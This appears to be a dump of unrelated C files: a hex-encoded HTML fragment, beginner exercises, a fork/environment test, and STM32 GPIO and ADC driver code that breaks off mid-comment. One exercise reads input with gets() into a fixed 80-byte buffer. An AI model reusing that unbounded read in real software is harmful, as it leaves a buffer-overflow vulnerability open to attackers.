0x69,0x61,0x62,0x6C,0x65,0x3A,0x20,0x76,0x61,0x72,0x31,
0x36,0x3D,0x3C,0x62,0x3E,0x3C,0x73,0x70,0x61,0x6E,0x20,
0x69,0x64,0x3D,0x76,0x61,0x72,0x31,0x36,0x3E,0x30,0x3C,
0x2F,0x73,0x70,0x61,0x6E,0x3E,0x3C,0x2F,0x62,0x3E,0x29,
0x2E,0x0D,0x0A,0x09,0x09,0x09,0x3C,0x6C,0x69,0x3E,0x54,
0x61,0x72,0x67,0x65,0x74,0x2D,0x73,0x69,0x64,0x65,0x20,
0x41,0x64,0x64,0x72,0x65,0x73,0x73,0x20,0x54,0x72,0x61,
0x6E,0x73,0x6C,0x61,0x74,0x69,0x6F,0x6E,0x20,0x28,0x54,
0x53,0x41,0x29,0x20,0x61,0x73,0x20,0x61,0x20,0x72,0x65,
0x70,0x6C,0x61,0x63,0x65,0x6D,0x65,0x6E,0x74,0x20,0x66,
0x6F,0x72,0x20,0x45,0x4C,0x46,0x20,0x66,0x69,0x6C,0x65,
0x20,0x70,0x61,0x72,0x73,0x69,0x6E,0x67,0x2E,0x20,0x54,
0x53,0x41,0x20,0x65,0x6E,0x61,0x62,0x6C,0x65,0x73,0x20,
0x74,0x6F,0x20,0x65,0x6E,0x63,0x6F,0x64,0x65,0x20,0x74,
0x68,0x65,0x20,0x74,0x79,0x70,0x65,0x20,0x0D,0x0A,0x09,
0x09,0x09,0x61,0x6E,0x64,0x20,0x76,0x61,0x72,0x69,0x61,
0x62,0x6C,0x65,0x20,0x69,0x6E,0x66,0x6F,0x72,0x6D,0x61,
0x74,0x69,0x6F,0x6E,0x20,0x64,0x69,0x72,0x65,0x63,0x74,
0x6C,0x79,0x20,0x69,0x6E,0x74,0x6F,0x20,0x74,0x68,0x65,
0x20,0x65,0x6D,0x62,0x65,0x64,0x64,0x65,0x64,0x2D,0x73,
0x69,0x64,0x65,0x20,0x63,0x6F,0x64,0x65,0x2E,0x0D,0x0A,
0x09,0x09,0x09,0x3C,0x6C,0x69,0x3E,0x54,0x53,0x41,0x20,
0x53,0x61,0x66,0x65,0x74,0x79,0x20,0x2D,0x20,0x74,0x68,
0x65,0x20,0x6D,0x65,0x6D,0x6F,0x72,0x79,0x20,0x61,0x63,
0x63,0x65,0x73,0x73,0x20,0x63,0x61,0x6E,0x20,0x62,0x65,
0x20,0x72,0x65,0x73,0x74,0x72,0x69,0x63,0x74,0x65,0x64,
0x20,0x74,0x6F,0x20,0x54,0x53,0x41,0x2D,0x64,0x65,0x73,
0x63,0x72,0x69,0x62,0x65,0x64,0x20,0x6D,0x65,0x6D,0x6F,
0x72,0x79,0x20,0x6C,0x6F,0x63,0x61,0x74,0x69,0x6F,0x6E,
0x73,0x20,0x6F,0x6E,0x6C,0x79,0x2E,0x20,0x56,0x61,0x72,
0x69,0x61,0x62,0x6C,0x65,0x73,0x0D,0x0A,0x09,0x09,0x09,
0x63,0x61,0x6E,0x20,0x62,0x65,0x20,0x64,0x65,0x63,0x6C,
0x61,0x72,0x65,0x64,0x20,0x72,0x65,0x61,0x64,0x2D,0x6F,
0x6E,0x6C,0x79,0x20,0x6F,0x72,0x20,0x72,0x65,0x61,0x64,
0x2D,0x77,0x72,0x69,0x74,0x65,0x20,0x66,0x6F,0x72,0x20,
0x46,0x72,0x65,0x65,0x4D,0x41,0x53,0x54,0x45,0x52,0x20,
0x61,0x63,0x63,0x65,0x73,0x73,0x2E,0x20,0x54,0x72,0x79,
0x20,0x74,0x6F,0x20,0x6D,0x6F,0x64,0x69,0x66,0x79,0x20,
0x74,0x68,0x65,0x20,0x76,0x61,0x72,0x31,0x36,0x20,0x6F,
0x72,0x20,0x76,0x61,0x72,0x33,0x32,0x20,0x76,0x61,0x72,
0x69,0x61,0x62,0x6C,0x65,0x73,0x20,0x61,0x6E,0x64,0x20,
0x0D,0x0A,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,
0x20,0x20,0x20,0x79,0x6F,0x75,0x20,0x77,0x69,0x6C,0x6C,
0x20,0x67,0x65,0x74,0x20,0x74,0x68,0x65,0x20,0x22,0x41,
0x63,0x63,0x65,0x73,0x73,0x20,0x44,0x65,0x6E,0x69,0x65,
0x64,0x22,0x20,0x65,0x72,0x72,0x6F,0x72,0x20,0x64,0x69,
0x73,0x70,0x6C,0x61,0x79,0x65,0x64,0x20,0x69,0x6E,0x20,
0x74,0x68,0x65,0x20,0x73,0x74,0x61,0x74,0x75,0x73,0x20,
0x62,0x61,0x72,0x2E,0x0D,0x0A,0x09,0x09,0x09,0x3C,0x6C,
0x69,0x3E,0x41,0x70,0x70,0x6C,0x69,0x63,0x61,0x74,0x69,
0x6F,0x6E,0x20,0x43,0x6F,0x6D,0x6D,0x61,0x6E,0x64,0x20,
0x43,0x61,0x6C,0x6C,0x62,0x61,0x63,0x6B,0x20,0x66,0x75,
0x6E,0x63,0x74,0x69,0x6F,0x6E,0x73,0x20,0x63,0x61,0x6E,
0x20,0x62,0x65,0x20,0x72,0x65,0x67,0x69,0x73,0x74,0x65,
0x72,0x72,0x65,0x64,0x20,0x74,0x6F,0x20,0x68,0x61,0x6E,
0x64,0x6C,0x65,0x20,0x74,0x68,0x65,0x20,0x41,0x70,0x70,
0x6C,0x69,0x63,0x61,0x74,0x69,0x6F,0x6E,0x20,0x43,0x6F,
0x6D,0x6D,0x61,0x6E,0x64,0x73,0x20,0x73,0x65,0x6E,0x74,
0x20,0x62,0x79,0x20,0x74,0x68,0x65,0x20,0x50,0x43,0x2E,
0x0D,0x0A,0x09,0x09,0x09,0x3C,0x2F,0x75,0x6C,0x3E,0x0D,
0x0A,0x09,0x09,0x3C,0x2F,0x44,0x49,0x56,0x3E,0x0D,0x0A,
0x09,0x3C,0x2F,0x42,0x4F,0x44,0x59,0x3E,0x0D,0x0A,0x3C,
0x2F,0x48,0x54,0x4D,0x4C,0x3E,0x0D,0x0A,0x0D,0x0A,
};
|
the_stack_data/82951440.c | #include<stdio.h>
#include<string.h>
int main()
{
char str1[80],str2[80];
int c,i;
printf("Enter a string:\n");
gets(str1);
c = strlen(str1) - 1;
for(i = 0; i <= c; i++)
{
str2[i] = str1[i];
}
str2[i] = '\0';
printf("String 2 is %s\n", str2);
return 0;
}
|
the_stack_data/48576092.c | int main()
{
int i;
for(i=1; i<=100; i=i+1)
{
if (i % 3 == 0)
printf("Fizz");
if (i % 5 == 0)
printf("Buzz");
if ((i % 3 != 0) && (i % 5 != 0))
printf("number=%d", i);
printf("\n");
}
return 0;
} |
the_stack_data/90766391.c | int ok(int n) {
if (n % 2 == 0)
return 1;
else
return 0;
}
int main() {
int n;
for (n = 1; n <= 100; n++)
if (ok(n)) printf("%d\n", n);
}
|
the_stack_data/107241.c | #include<stdio.h>
int main() {
printf("Hello world!!");
return 0;
} |
the_stack_data/120507.c | /**
* 使用指针解决交换函数的问题
*
* @Author Bob
* @Eamil [email protected]
* @Date 2018/6/3
*/
#include <stdio.h>
void interchange(int *u, int *v);
int main(void) {
int x = 5, y = 10;
printf("Originally x=%d and y=%d.\n", x, y);
interchange(&x, &y);
printf("Now x=%d and y=%d.\n", x, y);
return 0;
}
void interchange(int *u, int *v) {
int temp;
temp = *u;
*u = *v;
*v = temp;
}
|
the_stack_data/549154.c | #include <stdio.h>
int main(){
int maior=0, num=1;
printf("Digite um inteiro:\n> ");
scanf("%d", &num);
while (num != 0){
if (num > maior){
maior = num;
}
printf("Digite um inteiro:\n> ");
scanf("%d", &num);
}
printf("O maior inteiro tem o valor: %d.", maior);
return(0);
}
|
the_stack_data/15761827.c | //EXERCICIO 3
#include <stdio.h>
#include <time.h>
#include <stdlib.h>
int main()
{
int *v, tam_v;
printf("Digite o tamanho do vetor: ");
scanf("%d", &tam_v);
v = (int *)malloc(tam_v * sizeof(int));
srand(time(NULL));
for (int cont = 0; cont < tam_v; cont++)
{
v[cont] = rand() % tam_v + 1;
}
printf("PAR: ");
for (int cont = 0; cont < tam_v; cont++)
{
if (v[cont] % 2 == 0)
{
printf("%d, ", v[cont]);
}
}
printf("\n");
printf("IMPAR: ");
for (int cont = 0; cont < tam_v; cont++)
{
if (v[cont] % 2 != 0)
{
printf("%d, ", v[cont]);
}
}
free(v);
return 0;
} |
the_stack_data/7951272.c | /**
******************************************************************************
* @file stm32l0xx_ll_gpio.c
* @author MCD Application Team
* @version V1.6.0
* @date 15-April-2016
* @brief GPIO LL module driver.
******************************************************************************
* @attention
*
* <h2><center>© COPYRIGHT(c) 2016 STMicroelectronics</center></h2>
*
* Redistribution and use in source and binary forms, with or without modification,
* are permitted provided that the following conditions are met:
* 1. Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
* 3. Neither the name of STMicroelectronics nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
******************************************************************************
*/
#if defined(USE_FULL_LL_DRIVER)
/* Includes ------------------------------------------------------------------*/
#include "stm32l0xx_ll_gpio.h"
#include "stm32l0xx_ll_bus.h"
#ifdef USE_FULL_ASSERT
#include "stm32_assert.h"
#else
#define assert_param(expr) ((void)0U)
#endif
/** @addtogroup STM32L0xx_LL_Driver
* @{
*/
#if defined (GPIOA) || defined (GPIOB) || defined (GPIOC) || defined (GPIOD) || defined (GPIOE) || defined (GPIOH)
/** @addtogroup GPIO_LL
* @{
*/
/* Private types -------------------------------------------------------------*/
/* Private variables ---------------------------------------------------------*/
/* Private constants ---------------------------------------------------------*/
/* Private macros ------------------------------------------------------------*/
/** @addtogroup GPIO_LL_Private_Macros
* @{
*/
#define IS_LL_GPIO_PIN(__VALUE__) ((((uint32_t)0x00000000U) < (__VALUE__)) && ((__VALUE__) <= (LL_GPIO_PIN_ALL)))
#define IS_LL_GPIO_MODE(__VALUE__) (((__VALUE__) == LL_GPIO_MODE_INPUT) ||\
((__VALUE__) == LL_GPIO_MODE_OUTPUT) ||\
((__VALUE__) == LL_GPIO_MODE_ALTERNATE) ||\
((__VALUE__) == LL_GPIO_MODE_ANALOG))
#define IS_LL_GPIO_OUTPUT_TYPE(__VALUE__) (((__VALUE__) == LL_GPIO_OUTPUT_PUSHPULL) ||\
((__VALUE__) == LL_GPIO_OUTPUT_OPENDRAIN))
#define IS_LL_GPIO_SPEED(__VALUE__) (((__VALUE__) == LL_GPIO_SPEED_FREQ_LOW) ||\
((__VALUE__) == LL_GPIO_SPEED_FREQ_MEDIUM) ||\
((__VALUE__) == LL_GPIO_SPEED_FREQ_HIGH) ||\
((__VALUE__) == LL_GPIO_SPEED_FREQ_VERY_HIGH))
#define IS_LL_GPIO_PULL(__VALUE__) (((__VALUE__) == LL_GPIO_PULL_NO) ||\
((__VALUE__) == LL_GPIO_PULL_UP) ||\
((__VALUE__) == LL_GPIO_PULL_DOWN))
#define IS_LL_GPIO_ALTERNATE(__VALUE__) (((__VALUE__) == LL_GPIO_AF_0 ) ||\
((__VALUE__) == LL_GPIO_AF_1 ) ||\
((__VALUE__) == LL_GPIO_AF_2 ) ||\
((__VALUE__) == LL_GPIO_AF_3 ) ||\
((__VALUE__) == LL_GPIO_AF_4 ) ||\
((__VALUE__) == LL_GPIO_AF_5 ) ||\
((__VALUE__) == LL_GPIO_AF_6 ) ||\
((__VALUE__) == LL_GPIO_AF_7 ))
/**
* @}
*/
/* Private function prototypes -----------------------------------------------*/
/* Exported functions --------------------------------------------------------*/
/** @addtogroup GPIO_LL_Exported_Functions
* @{
*/
/** @addtogroup GPIO_LL_EF_Init
* @{
*/
/**
* @brief De-initialize GPIO registers (Registers restored to their default values).
* @param GPIOx GPIO Port
* @retval An ErrorStatus enumeration value:
* - SUCCESS: GPIO registers are de-initialized
* - ERROR: Wrong GPIO Port
*/
ErrorStatus LL_GPIO_DeInit(GPIO_TypeDef *GPIOx)
{
ErrorStatus status = SUCCESS;
/* Check the parameters */
assert_param(IS_GPIO_ALL_INSTANCE(GPIOx));
/* Force and Release reset on clock of GPIOx Port */
if (GPIOx == GPIOA)
{
LL_IOP_GRP1_ForceReset(LL_IOP_GRP1_PERIPH_GPIOA);
LL_IOP_GRP1_ReleaseReset(LL_IOP_GRP1_PERIPH_GPIOA);
}
else if (GPIOx == GPIOB)
{
LL_IOP_GRP1_ForceReset(LL_IOP_GRP1_PERIPH_GPIOB);
LL_IOP_GRP1_ReleaseReset(LL_IOP_GRP1_PERIPH_GPIOB);
}
else if (GPIOx == GPIOC)
{
LL_IOP_GRP1_ForceReset(LL_IOP_GRP1_PERIPH_GPIOC);
LL_IOP_GRP1_ReleaseReset(LL_IOP_GRP1_PERIPH_GPIOC);
}
#if defined(GPIOD)
else if (GPIOx == GPIOD)
{
LL_IOP_GRP1_ForceReset(LL_IOP_GRP1_PERIPH_GPIOD);
LL_IOP_GRP1_ReleaseReset(LL_IOP_GRP1_PERIPH_GPIOD);
}
#endif /* GPIOD */
#if defined(GPIOE)
else if (GPIOx == GPIOE)
{
LL_IOP_GRP1_ForceReset(LL_IOP_GRP1_PERIPH_GPIOE);
LL_IOP_GRP1_ReleaseReset(LL_IOP_GRP1_PERIPH_GPIOE);
}
#endif /* GPIOE */
#if defined(GPIOH)
else if (GPIOx == GPIOH)
{
LL_IOP_GRP1_ForceReset(LL_IOP_GRP1_PERIPH_GPIOH);
LL_IOP_GRP1_ReleaseReset(LL_IOP_GRP1_PERIPH_GPIOH);
}
#endif /* GPIOH */
else
{
status = ERROR;
}
return (status);
}
/**
* @brief Initialize GPIO registers according to the specified parameters in GPIO_InitStruct.
* @param GPIOx GPIO Port
* @param GPIO_InitStruct: pointer to a @ref LL_GPIO_InitTypeDef structure
* that contains the configuration information for the specified GPIO peripheral.
* @retval An ErrorStatus enumeration value:
* - SUCCESS: GPIO registers are initialized according to GPIO_InitStruct content
* - ERROR: Not applicable
*/
ErrorStatus LL_GPIO_Init(GPIO_TypeDef *GPIOx, LL_GPIO_InitTypeDef *GPIO_InitStruct)
{
uint32_t pinpos = 0x00000000U;
uint32_t currentpin = 0x00000000U;
/* Check the parameters */
assert_param(IS_GPIO_ALL_INSTANCE(GPIOx));
assert_param(IS_LL_GPIO_PIN(GPIO_InitStruct->Pin));
assert_param(IS_LL_GPIO_MODE(GPIO_InitStruct->Mode));
assert_param(IS_LL_GPIO_PULL(GPIO_InitStruct->Pull));
/* ------------------------- Configure the port pins ---------------- */
/* Initialize pinpos on first pin set */
/* pinpos = 0; useless as already done in default initialization */
/* Configure the port pins */
while (((GPIO_InitStruct->Pin) >> pinpos) != 0x00000000U)
{
/* Get current io position */
currentpin = (GPIO_InitStruct->Pin) & (0x00000001U << pinpos);
if (currentpin)
{
/* Pin Mode configuration */
LL_GPIO_SetPinMode(GPIOx, currentpin, GPIO_InitStruct->Mode);
if ((GPIO_InitStruct->Mode == LL_GPIO_MODE_OUTPUT) || (GPIO_InitStruct->Mode == LL_GPIO_MODE_ALTERNATE))
{
/* Check Speed mode parameters */
assert_param(IS_LL_GPIO_SPEED(GPIO_InitStruct->Speed));
/* Speed mode configuration */
LL_GPIO_SetPinSpeed(GPIOx, currentpin, GPIO_InitStruct->Speed);
}
/* Pull-up Pull down resistor configuration*/
LL_GPIO_SetPinPull(GPIOx, currentpin, GPIO_InitStruct->Pull);
if (GPIO_InitStruct->Mode == LL_GPIO_MODE_ALTERNATE)
{
/* Check Alternate parameter */
assert_param(IS_LL_GPIO_ALTERNATE(GPIO_InitStruct->Alternate));
/* Speed mode configuration */
if (currentpin < LL_GPIO_PIN_8)
{
LL_GPIO_SetAFPin_0_7(GPIOx, currentpin, GPIO_InitStruct->Alternate);
}
else
{
LL_GPIO_SetAFPin_8_15(GPIOx, currentpin, GPIO_InitStruct->Alternate);
}
}
}
pinpos++;
}
if ((GPIO_InitStruct->Mode == LL_GPIO_MODE_OUTPUT) || (GPIO_InitStruct->Mode == LL_GPIO_MODE_ALTERNATE))
{
/* Check Output mode parameters */
assert_param(IS_LL_GPIO_OUTPUT_TYPE(GPIO_InitStruct->OutputType));
/* Output mode configuration*/
LL_GPIO_SetPinOutputType(GPIOx, GPIO_InitStruct->Pin, GPIO_InitStruct->OutputType);
}
return (SUCCESS);
}
/**
* @brief Set each @ref LL_GPIO_InitTypeDef field to default value.
* @param GPIO_InitStruct: pointer to a @ref LL_GPIO_InitTypeDef structure
* whose fields will be set to default values.
* @retval None
*/
void LL_GPIO_StructInit(LL_GPIO_InitTypeDef *GPIO_InitStruct)
{
/* Reset GPIO init structure parameters values */
GPIO_InitStruct->Pin = LL_GPIO_PIN_ALL;
GPIO_InitStruct->Mode = LL_GPIO_MODE_ANALOG;
GPIO_InitStruct->Speed = LL_GPIO_SPEED_FREQ_LOW;
GPIO_InitStruct->OutputType = LL_GPIO_OUTPUT_PUSHPULL;
GPIO_InitStruct->Pull = LL_GPIO_PULL_NO;
GPIO_InitStruct->Alternate = LL_GPIO_AF_0;
}
/**
* @}
*/
/**
* @}
*/
/**
* @}
*/
#endif /* defined (GPIOA) || defined (GPIOB) || defined (GPIOC) || defined (GPIOD) || defined (GPIOE) || defined (GPIOH) */
/**
* @}
*/
#endif /* USE_FULL_LL_DRIVER */
/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/
|
the_stack_data/151704540.c | /* environ-test.c - test för att se ifall pekare mellan parent- och
* child-processer delar samma environment och därmed kan kommunicera med denna
*/
#include <sys/types.h> /* pid_t */
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
extern char **environ;
pid_t childpid;
int main()
{
/* print environment */
printf("env[%i] = %s\n", 7, environ[7]);
environ[7] = "PAGER=ls ";
childpid = fork();
if (childpid == 0)
{
/* Om child */
sleep(2);
printf("C - Env[%i] = %s\n", 7, environ[7]);
}
else
{
/* Om parent */
if (childpid == -1)
{
perror("Could not fork");
exit(1);
}
else
{
environ[7] = "PAGER=more";
sleep(2);
}
}
return 0;
}
|
the_stack_data/234519361.c | #if defined (STM32PLUS_F1_HD) || defined(STM32PLUS_F1_CL_E)
/**
******************************************************************************
* @file stm32f10x_adc.c
* @author MCD Application Team
* @version V3.5.0
* @date 11-March-2011
* @brief This file provides all the ADC firmware functions.
******************************************************************************
* @attention
*
* THE PRESENT FIRMWARE WHICH IS FOR GUIDANCE ONLY AIMS AT PROVIDING CUSTOMERS
* WITH CODING INFORMATION REGARDING THEIR PRODUCTS IN ORDER FOR THEM TO SAVE
* TIME. AS A RESULT, STMICROELECTRONICS SHALL NOT BE HELD LIABLE FOR ANY
* DIRECT, INDIRECT OR CONSEQUENTIAL DAMAGES WITH RESPECT TO ANY CLAIMS ARISING
* FROM THE CONTENT OF SUCH FIRMWARE AND/OR THE USE MADE BY CUSTOMERS OF THE
* CODING INFORMATION CONTAINED HEREIN IN CONNECTION WITH THEIR PRODUCTS.
*
* <h2><center>© COPYRIGHT 2011 STMicroelectronics</center></h2>
******************************************************************************
*/
/* Includes ------------------------------------------------------------------*/
#include "fwlib/f1/stdperiph/inc/stm32f10x_adc.h"
#include "fwlib/f1/stdperiph/inc/stm32f10x_rcc.h"
/** @addtogroup STM32F10x_StdPeriph_Driver
* @{
*/
/** @defgroup ADC
* @brief ADC driver modules
* @{
*/
/** @defgroup ADC_Private_TypesDefinitions
* @{
*/
/**
* @}
*/
/** @defgroup ADC_Private_Defines
* @{
*/
/* ADC DISCNUM mask */
#define CR1_DISCNUM_Reset ((uint32_t)0xFFFF1FFF)
/* ADC DISCEN mask */
#define CR1_DISCEN_Set ((uint32_t)0x00000800)
#define CR1_DISCEN_Reset ((uint32_t)0xFFFFF7FF)
/* ADC JAUTO mask */
#define CR1_JAUTO_Set ((uint32_t)0x00000400)
#define CR1_JAUTO_Reset ((uint32_t)0xFFFFFBFF)
/* ADC JDISCEN mask */
#define CR1_JDISCEN_Set ((uint32_t)0x00001000)
#define CR1_JDISCEN_Reset ((uint32_t)0xFFFFEFFF)
/* ADC AWDCH mask */
#define CR1_AWDCH_Reset ((uint32_t)0xFFFFFFE0)
/* ADC Analog watchdog enable mode mask */
#define CR1_AWDMode_Reset ((uint32_t)0xFF3FFDFF)
/* CR1 register Mask */
#define CR1_CLEAR_Mask ((uint32_t)0xFFF0FEFF)
/* ADC ADON mask */
#define CR2_ADON_Set ((uint32_t)0x00000001)
#define CR2_ADON_Reset ((uint32_t)0xFFFFFFFE)
/* ADC DMA mask */
#define CR2_DMA_Set ((uint32_t)0x00000100)
#define CR2_DMA_Reset ((uint32_t)0xFFFFFEFF)
/* ADC RSTCAL mask */
#define CR2_RSTCAL_Set ((uint32_t)0x00000008)
/* ADC CAL mask */
#define CR2_CAL_Set ((uint32_t)0x00000004)
/* ADC SWSTART mask */
#define CR2_SWSTART_Set ((uint32_t)0x00400000)
/* ADC EXTTRIG mask */
#define CR2_EXTTRIG_Set ((uint32_t)0x00100000)
#define CR2_EXTTRIG_Reset ((uint32_t)0xFFEFFFFF)
/* ADC Software start mask */
#define CR2_EXTTRIG_SWSTART_Set ((uint32_t)0x00500000)
#define CR2_EXTTRIG_SWSTART_Reset ((uint32_t)0xFFAFFFFF)
/* ADC JEXTSEL mask */
#define CR2_JEXTSEL_Reset ((uint32_t)0xFFFF8FFF)
/* ADC JEXTTRIG mask */
#define CR2_JEXTTRIG_Set ((uint32_t)0x00008000)
#define CR2_JEXTTRIG_Reset ((uint32_t)0xFFFF7FFF)
/* ADC JSWSTART mask */
#define CR2_JSWSTART_Set ((uint32_t)0x00200000)
/* ADC injected software start mask */
#define CR2_JEXTTRIG_JSWSTART_Set ((uint32_t)0x00208000)
#define CR2_JEXTTRIG_JSWSTART_Reset ((uint32_t)0xFFDF7FFF)
/* ADC TSPD mask */
#define CR2_TSVREFE_Set ((uint32_t)0x00800000)
#define CR2_TSVREFE_Reset ((uint32_t)0xFF7FFFFF)
/* CR2 register Mask */
#define CR2_CLEAR_Mask ((uint32_t)0xFFF1F7FD)
/* ADC SQx mask */
#define SQR3_SQ_Set ((uint32_t)0x0000001F)
#define SQR2_SQ_Set ((uint32_t)0x0000001F)
#define SQR1_SQ_Set ((uint32_t)0x0000001F)
/* SQR1 register Mask */
#define SQR1_CLEAR_Mask ((uint32_t)0xFF0FFFFF)
/* ADC JSQx mask */
#define JSQR_JSQ_Set ((uint32_t)0x0000001F)
/* ADC JL mask */
#define JSQR_JL_Set ((uint32_t)0x00300000)
#define JSQR_JL_Reset ((uint32_t)0xFFCFFFFF)
/* ADC SMPx mask */
#define SMPR1_SMP_Set ((uint32_t)0x00000007)
#define SMPR2_SMP_Set ((uint32_t)0x00000007)
/* ADC JDRx registers offset */
#define JDR_Offset ((uint8_t)0x28)
/* ADC1 DR register base address */
#define DR_ADDRESS ((uint32_t)0x4001244C)
/**
* @}
*/
/** @defgroup ADC_Private_Macros
* @{
*/
/**
* @}
*/
/** @defgroup ADC_Private_Variables
* @{
*/
/**
* @}
*/
/** @defgroup ADC_Private_FunctionPrototypes
* @{
*/
/**
* @}
*/
/** @defgroup ADC_Private_Functions
* @{
*/
/**
* @brief Deinitializes the ADCx peripheral registers to their default reset values.
* @param ADCx: where x can be 1, 2 or 3 to select the ADC peripheral.
* @retval None
*/
void ADC_DeInit(ADC_TypeDef* ADCx)
{
/* Check the parameters */
assert_param(IS_ADC_ALL_PERIPH(ADCx));
if (ADCx == ADC1)
{
/* Enable ADC1 reset state */
RCC_APB2PeriphResetCmd(RCC_APB2Periph_ADC1, ENABLE);
/* Release ADC1 from reset state */
RCC_APB2PeriphResetCmd(RCC_APB2Periph_ADC1, DISABLE);
}
else if (ADCx == ADC2)
{
/* Enable ADC2 reset state */
RCC_APB2PeriphResetCmd(RCC_APB2Periph_ADC2, ENABLE);
/* Release ADC2 from reset state */
RCC_APB2PeriphResetCmd(RCC_APB2Periph_ADC2, DISABLE);
}
else
{
if (ADCx == ADC3)
{
/* Enable ADC3 reset state */
RCC_APB2PeriphResetCmd(RCC_APB2Periph_ADC3, ENABLE);
/* Release ADC3 from reset state */
RCC_APB2PeriphResetCmd(RCC_APB2Periph_ADC3, DISABLE);
}
}
}
/**
* @brief Initializes the ADCx peripheral according to the specified parameters
* in the ADC_InitStruct.
* @param ADCx: where x can be 1, 2 or 3 to select the ADC peripheral.
* @param ADC_InitStruct: pointer to an ADC_InitTypeDef structure that contains
* the configuration information for the specified ADC peripheral.
* @retval None
*/
void ADC_Init(ADC_TypeDef* ADCx, ADC_InitTypeDef* ADC_InitStruct)
{
uint32_t tmpreg1 = 0;
uint8_t tmpreg2 = 0;
/* Check the parameters */
assert_param(IS_ADC_ALL_PERIPH(ADCx));
assert_param(IS_ADC_MODE(ADC_InitStruct->ADC_Mode));
assert_param(IS_FUNCTIONAL_STATE(ADC_InitStruct->ADC_ScanConvMode));
assert_param(IS_FUNCTIONAL_STATE(ADC_InitStruct->ADC_ContinuousConvMode));
assert_param(IS_ADC_EXT_TRIG(ADC_InitStruct->ADC_ExternalTrigConv));
assert_param(IS_ADC_DATA_ALIGN(ADC_InitStruct->ADC_DataAlign));
assert_param(IS_ADC_REGULAR_LENGTH(ADC_InitStruct->ADC_NbrOfChannel));
/*---------------------------- ADCx CR1 Configuration -----------------*/
/* Get the ADCx CR1 value */
tmpreg1 = ADCx->CR1;
/* Clear DUALMOD and SCAN bits */
tmpreg1 &= CR1_CLEAR_Mask;
/* Configure ADCx: Dual mode and scan conversion mode */
/* Set DUALMOD bits according to ADC_Mode value */
/* Set SCAN bit according to ADC_ScanConvMode value */
tmpreg1 |= (uint32_t)(ADC_InitStruct->ADC_Mode | ((uint32_t)ADC_InitStruct->ADC_ScanConvMode << 8));
/* Write to ADCx CR1 */
ADCx->CR1 = tmpreg1;
/*---------------------------- ADCx CR2 Configuration -----------------*/
/* Get the ADCx CR2 value */
tmpreg1 = ADCx->CR2;
/* Clear CONT, ALIGN and EXTSEL bits */
tmpreg1 &= CR2_CLEAR_Mask;
/* Configure ADCx: external trigger event and continuous conversion mode */
/* Set ALIGN bit according to ADC_DataAlign value */
/* Set EXTSEL bits according to ADC_ExternalTrigConv value */
/* Set CONT bit according to ADC_ContinuousConvMode value */
tmpreg1 |= (uint32_t)(ADC_InitStruct->ADC_DataAlign | ADC_InitStruct->ADC_ExternalTrigConv |
((uint32_t)ADC_InitStruct->ADC_ContinuousConvMode << 1));
/* Write to ADCx CR2 */
ADCx->CR2 = tmpreg1;
/*---------------------------- ADCx SQR1 Configuration -----------------*/
/* Get the ADCx SQR1 value */
tmpreg1 = ADCx->SQR1;
/* Clear L bits */
tmpreg1 &= SQR1_CLEAR_Mask;
/* Configure ADCx: regular channel sequence length */
/* Set L bits according to ADC_NbrOfChannel value */
tmpreg2 |= (uint8_t) (ADC_InitStruct->ADC_NbrOfChannel - (uint8_t)1);
tmpreg1 |= (uint32_t)tmpreg2 << 20;
/* Write to ADCx SQR1 */
ADCx->SQR1 = tmpreg1;
}
/**
* @brief Fills each ADC_InitStruct member with its default value.
* @param ADC_InitStruct : pointer to an ADC_InitTypeDef structure which will be initialized.
* @retval None
*/
void ADC_StructInit(ADC_InitTypeDef* ADC_InitStruct)
{
/* Reset ADC init structure parameters values */
/* Initialize the ADC_Mode member */
ADC_InitStruct->ADC_Mode = ADC_Mode_Independent;
/* initialize the ADC_ScanConvMode member */
ADC_InitStruct->ADC_ScanConvMode = DISABLE;
/* Initialize the ADC_ContinuousConvMode member */
ADC_InitStruct->ADC_ContinuousConvMode = DISABLE;
/* Initialize the ADC_ExternalTrigConv member */
ADC_InitStruct->ADC_ExternalTrigConv = ADC_ExternalTrigConv_T1_CC1;
/* Initialize the ADC_DataAlign member */
ADC_InitStruct->ADC_DataAlign = ADC_DataAlign_Right;
/* Initialize the ADC_NbrOfChannel member */
ADC_InitStruct->ADC_NbrOfChannel = 1;
}
/**
* @brief Enables or disables the specified ADC peripheral.
* @param ADCx: where x can be 1, 2 or 3 to select the ADC peripheral.
* @param NewState: new state of the ADCx peripheral.
* This parameter can be: ENABLE or DISABLE.
* @retval None
*/
void ADC_Cmd(ADC_TypeDef* ADCx, FunctionalState NewState)
{
/* Check the parameters */
assert_param(IS_ADC_ALL_PERIPH(ADCx));
assert_param(IS_FUNCTIONAL_STATE(NewState));
if (NewState != DISABLE)
{
/* Set the ADON bit to wake up the ADC from power down mode */
ADCx->CR2 |= CR2_ADON_Set;
}
else
{
/* Disable the selected ADC peripheral */
ADCx->CR2 &= CR2_ADON_Reset;
}
}
/**
* @brief Enables or disables the specified ADC DMA request.
* @param ADCx: where x can be 1 or 3 to select the ADC peripheral.
* Note: ADC2 hasn't a DMA capability.
* @param NewState: new state of the selected ADC DMA transfer.
